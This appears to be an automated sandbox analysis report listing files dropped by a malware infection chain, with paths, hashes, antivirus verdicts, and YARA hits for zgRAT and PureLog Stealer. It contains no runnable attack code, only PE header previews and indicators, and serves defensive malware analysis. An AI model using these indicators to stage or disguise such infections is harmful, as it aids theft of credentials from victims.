Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4469760
Entropy (8bit):	7.986007634049446
Encrypted:	false
SSDEEP:	98304:DpdksNkMGgDGafh72v6E4PRLCg0n+fF8nm0yRD:MsWAqwhivl4PhCZiFm
MD5:	052A4ED490C350BAC29E342970146793
SHA1:	B1CA7951818CCE6A457206A76F2AC5D4F398C91A
SHA-256:	D0FB76445B064C723AD7EABB0E21C9F3A7265813B9C7F5BA14F6E9185359FB74
SHA-512:	4725951D0BB2B483472C4880C63E54D10E5512BCF2B82152E6129332861C7BA3E597B92765AD3BF350338A660B329A95F3A7AB47FD1B9ACFE924C25C182E209B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L]g...............(..K..dq..2............K...@..................................vD...@... ............................._.n.s.....n.....................0e...............................d...................................................... . ..n......@(.................@....rsrc.........n......P(.............@....idata ......n......R(.............@... ..8...n......T(.............@...slztyuaa.............V(.............@...okprrvvq.....p........D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2283768
Entropy (8bit):	7.491565011258774
Encrypted:	false
SSDEEP:	49152:IBJVhKLUy2ich2Y+jCRZCH77sVccM50sF/CwsuVoM:y3hKPFch2YHgbucc00OdoM
MD5:	B5A1474FCB8F7B9809D52546BD304AF3
SHA1:	8604FE586FA0D03ADAA6608169A62C65C837DE7D
SHA-256:	DC83DBD12C5A432A6C168982E55D6C7BE89DD0BC4B915E3E93E3A97C8AF0AB0D
SHA-512:	39931300C863C521957DD5D842C0C6E0D66D2B43663136375E21FEB26181BD1C9D4494025E0E7A00B80B51405D1E67BFE825787E60C1B99998463B4E3A49A7EE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I.>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I.=>...I..=>..Rich<>..........PE..L..... b............................0........0....@..........................P............@.........................p...4.......P....@....................... ..<#......T............................U..@............0..x....... ....................text............................... ..`.rdata.......0....... ..............@..@.data... G..........................@....didat.......0......................@....rsrc........@......................@..@.reloc..<#... ...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1822720
Entropy (8bit):	7.946269241591785
Encrypted:	false
SSDEEP:	49152:/i7b2qdjAjGhlEBDQFrdjVytT94WtF7oOKL:xqp+BsHV4KWtF7oO
MD5:	E328245A28E6A2CDB14BDE4D150A342E
SHA1:	C768975F4FE3DEED8D1CC677C8ADA7395A394865
SHA-256:	03B0EE461554C9ECFCC906404CAF95247F39959AD36FFF125722870F27EFA0B5
SHA-512:	4D6AD474E969CB85B29BC6319F6E84151D3267CC2ED28B22FB1B11D7E28597C98A1B2405EACE53CA42CB1C5F77723FCA3BF03BDAFF243861593D00BF57E84AC0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.............................i...........@...........................j......6....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .....$......\|..............@...adligwjc.0....O..*...~..............@...fnzkdoce......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	727552
Entropy (8bit):	7.888061454157426
Encrypted:	false
SSDEEP:	12288:tyNudyx57oPuBlhyyZzWDtkfDdEIHiyO+rBlhyyZzWDtkfDdEIHiyO+N:t+3x5s2BCyqXIdXBCyqXId5
MD5:	28E568616A7B792CAC1726DEB77D9039
SHA1:	39890A418FB391B823ED5084533E2E24DFF021E1
SHA-256:	9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2
SHA-512:	85048799E6D2756F1D6AF77F34E6A1F454C48F2F43042927845931B7ECFF2E5DE45F864627A3D4AA061252401225BBB6C2CAA8532320CCBE401E97C9C79AC8E5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....$Xg.................N..........,6............@..........................P......\|z....@.................................l...d...................................................................8h..............4...d............................text...AM.......N.................. ..`.rdata..<~...`.......V..............@..@.data...L...........................@....rsrc...............................@..@.reloc..............................@..B.bss.........0......................@....bss................................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.947620086095118
Encrypted:	false
SSDEEP:	49152:05+SKvXhag1L9rYoMaf3nHwKUXBKTgEdjVS1:y+SKvh11VYoMafg1BSpVS1
MD5:	6C1D0DABE1EC5E928F27B3223F25C26B
SHA1:	E25AB704A6E9B3E4C30A6C1F7043598A13856AD9
SHA-256:	92228A0012605351CF08DF9A2AD4B93FA552D7A75991F81FB80F1AE854A0E57D
SHA-512:	3A3F7AF4F6018FCBD8C6F2871270504731CF269134453C9A146351C3E4A5C89165ECCCAFB3655D8B39C1FF1EC68F06E1851C0ABD66D47602E1F0F8E36D4ACFE9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Yg..............................H...........@...........................H..........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..)..@.......\..............@...ubvmxkob.........z...^..............@...xdawalmh.....pH.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	969728
Entropy (8bit):	6.70205615785768
Encrypted:	false
SSDEEP:	24576:JqDEvCTbMWu7rQYlBQcBiT6rprG8auLw3:JTvC/MTQYxsWR7auL
MD5:	F0367D03A91E16273B989532829233A6
SHA1:	5E3D39961EE6C60C363FFB816A04C2C9ED3D9D56
SHA-256:	ED43A22ED526BD0AF54D4D28694C7279BB459A3F54F51C557A256869569F71BA
SHA-512:	7DD0FDFDE32B543CB3B72757562E9A68FBB5ADDE2C9A38960C575C15675BCC55249E21C17DBA0EBC947E0A0782833272154AF2908C06D24923293A89A0A8E021
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...C.`g..........".................w.............@..........................0............@...@.......@.....................d...\|....@...a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.358702941706338
Encrypted:	false
SSDEEP:	48:SfNaoQUdRdKTEQUdCfNaoQkQDfNaoQJQ8fNaoQLQH0UrU0U8QLK:6NnQUdRdKTEQUdqNnQkQ7NnQJQoNnQLw
MD5:	67697C90E4F725623A6C5F2B7EBB2934
SHA1:	E9B125B75E43CE447A81042D0C217CF1D07C9FA5
SHA-256:	1824E04D97F2BD8AE3AFC9FA6CD29BBC3BAD74CE414682944953D4B5F45C79ED
SHA-512:	3A01FABE65523424C4B64F1CE1BF6CADEA0DA66DF50DFABFD67F69A029513BE2031B4952AA2F155467FCC330CB153EA3A9B8C8B4884F9F6070605D1DB10506C0
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A0E21B70058977C3905629B2F3E2D627",.. "id": "A0E21B70058977C3905629B2F3E2D627",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A0E21B70058977C3905629B2F3E2D627"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/94D97AD5F2A1524194A4967C2300E0D0",.. "id": "94D97AD5F2A1524194A4967C2300E0D0",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/94D97AD5F2A1524194A4967C2300E0D0"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1877504
Entropy (8bit):	7.94507431154937
Encrypted:	false
SSDEEP:	49152:F7skjlBKLevJ/yMubs7v0/iEhZ6uZHRBLLL:5RlHvJ/yIDSiqVRB/L
MD5:	259EB5422D10FD32691E5D0B5585BC0E
SHA1:	B33A091415AA6E55AD88A901664B56B538100FC1
SHA-256:	5010145CED6D55E94FF13D6758E18AA89E387737F3A91C38D0839CD134A54CC5
SHA-512:	498614069C409BEE2D78F10A4BB489F27F3651DC8A657116C729AA2DAA8C480DE4E6E1454864DAC7F13F407EC6DBB4759D5F6279CCCFF84006B52DE5AB4E8DEA
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@..........................0J...........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... ..*..@.......^..............@...ghqbbjwf. ..../.. ...`..............@...ewjbyiey......I.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2850304
Entropy (8bit):	6.464239580597987
Encrypted:	false
SSDEEP:	49152:a49nDUpAJpRxCU4gP+YMfpQGrnZbsmrA6GpqigaYEE9:a4d+6pRxn4gG7fpdrnZbsmkHq7
MD5:	EAD473718663D9F85A4D487F8343BF82
SHA1:	AA74F6C6B613BD5C7ED244F37DFA5CEDE287B8EF
SHA-256:	D15E8974D60859D550B2A5C20EA3644B4ED82A38644EC509D469BFB86EA95B9C
SHA-512:	4FD45893B47A48256AF55C1D8FC1966138E97205888B723049B88060B4463A7B49B5694D254C54AF525B84266B000DB07E9905B0F30C98726E98F439B793CF4A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ....................... ,.....).,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...hwkjnpms. +.......+..:..............@...hgincagx. ....+......X+.............@....taggant.@....+.."...\+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	19253
Entropy (8bit):	5.0060084140185905
Encrypted:	false
SSDEEP:	384:hrib4ZmVoGIpN6KQkj2Fkjh4iUxDhQIego+OdBANXp5yvOjJlYoaYpib47:hLmV3IpNBQkj2Uh4iUxDhigo+OdBANZD
MD5:	60C24FBBB75B257734DB9627BE8EB533
SHA1:	B6C15AC8FB31927F57CF50B3F7F41209D4EF1CF0
SHA-256:	128FF46C6FE8E704D255B39C1D328B7BF7BD02CBE6857EDA47CE55A44ACA043B
SHA-512:	A56BEA780A982C274A0D1476C10CD886EED9ACEE319ED64773E844EB7C1EF937F86F71FEEECB12F9B1B2B9404EA9292E742E6A88FE856A4A56FBA43FFF130A1E
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllulhhf/z:NllU
MD5:	B283C769D040651AA26FFE7F1296E297
SHA1:	F4B1D91D58C72B439EA4CA55A3E75F5F53A117E5
SHA-256:	97677EADF7A2FB6F27A32BAA73C5471A5BA31702A36509AB9FEB478448B2D837
SHA-512:	9114535C2EA58850D30DFA7552F420FBAB32FBFD999B0CAC0B8CB050F27EF65FE5BC3749E78B35A2C489561571B5452182197A51DC2B82ADC6DD70D94BEA03D7
Malicious:	false
Reputation:	unknown
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\0PITfvPZVf

Download File

Process:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2283768
Entropy (8bit):	7.491565011258774
Encrypted:	false
SSDEEP:	49152:IBJVhKLUy2ich2Y+jCRZCH77sVccM50sF/CwsuVoM:y3hKPFch2YHgbucc00OdoM
MD5:	B5A1474FCB8F7B9809D52546BD304AF3
SHA1:	8604FE586FA0D03ADAA6608169A62C65C837DE7D
SHA-256:	DC83DBD12C5A432A6C168982E55D6C7BE89DD0BC4B915E3E93E3A97C8AF0AB0D
SHA-512:	39931300C863C521957DD5D842C0C6E0D66D2B43663136375E21FEB26181BD1C9D4494025E0E7A00B80B51405D1E67BFE825787E60C1B99998463B4E3A49A7EE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I.>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I.=>...I..=>..Rich<>..........PE..L..... b............................0........0....@..........................P............@.........................p...4.......P....@....................... ..<#......T............................U..@............0..x....... ....................text............................... ..`.rdata.......0....... ..............@..@.data... G..........................@....didat.......0......................@....rsrc........@......................@..@.reloc..<#... ...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.947620086095118
Encrypted:	false
SSDEEP:	49152:05+SKvXhag1L9rYoMaf3nHwKUXBKTgEdjVS1:y+SKvh11VYoMafg1BSpVS1
MD5:	6C1D0DABE1EC5E928F27B3223F25C26B
SHA1:	E25AB704A6E9B3E4C30A6C1F7043598A13856AD9
SHA-256:	92228A0012605351CF08DF9A2AD4B93FA552D7A75991F81FB80F1AE854A0E57D
SHA-512:	3A3F7AF4F6018FCBD8C6F2871270504731CF269134453C9A146351C3E4A5C89165ECCCAFB3655D8B39C1FF1EC68F06E1851C0ABD66D47602E1F0F8E36D4ACFE9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Yg..............................H...........@...........................H..........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..)..@.......\..............@...ubvmxkob.........z...^..............@...xdawalmh.....pH.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.9666362514304927
Encrypted:	false
SSDEEP:	48:6s2Vt2RYo8saLFJicV4MKe2/loJBhvqBHvuulAotQPouqXSfbNtm:W9Vx9RRvkB/tQgOzNt
MD5:	7B7176E37C70F8B4A9E81F418635E428
SHA1:	B7A77C8775F5CCC8CA6C1B4020B6313FF1108358
SHA-256:	880A4C4C30DC3598A01B58BDAF7EC46B7A97E993313F4096E104DBD70937CB81
SHA-512:	A648636CFD82DBE850700F54E32BAD3F4A65B61FFCDF20B04709275BD73E032B951BFFAE1F2CB4CE44BAA303A78251D0580A29F32980A8E489A0629C261DC350
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...81`g.............................'... ...@....@.. ....................................@.................................l'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..D.............................................................(.....0..!.......r...pr...p.{....(....(....&..&......................0..........r...p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings.... .......#US.........#GUID...$... ...#Blob...........WU........%3................................................................

C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe (copy)

Download File

Process:	C:\Bridgecontainerserver\BrokerhostNet.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.9666362514304927
Encrypted:	false
SSDEEP:	48:6s2Vt2RYo8saLFJicV4MKe2/loJBhvqBHvuulAotQPouqXSfbNtm:W9Vx9RRvkB/tQgOzNt
MD5:	7B7176E37C70F8B4A9E81F418635E428
SHA1:	B7A77C8775F5CCC8CA6C1B4020B6313FF1108358
SHA-256:	880A4C4C30DC3598A01B58BDAF7EC46B7A97E993313F4096E104DBD70937CB81
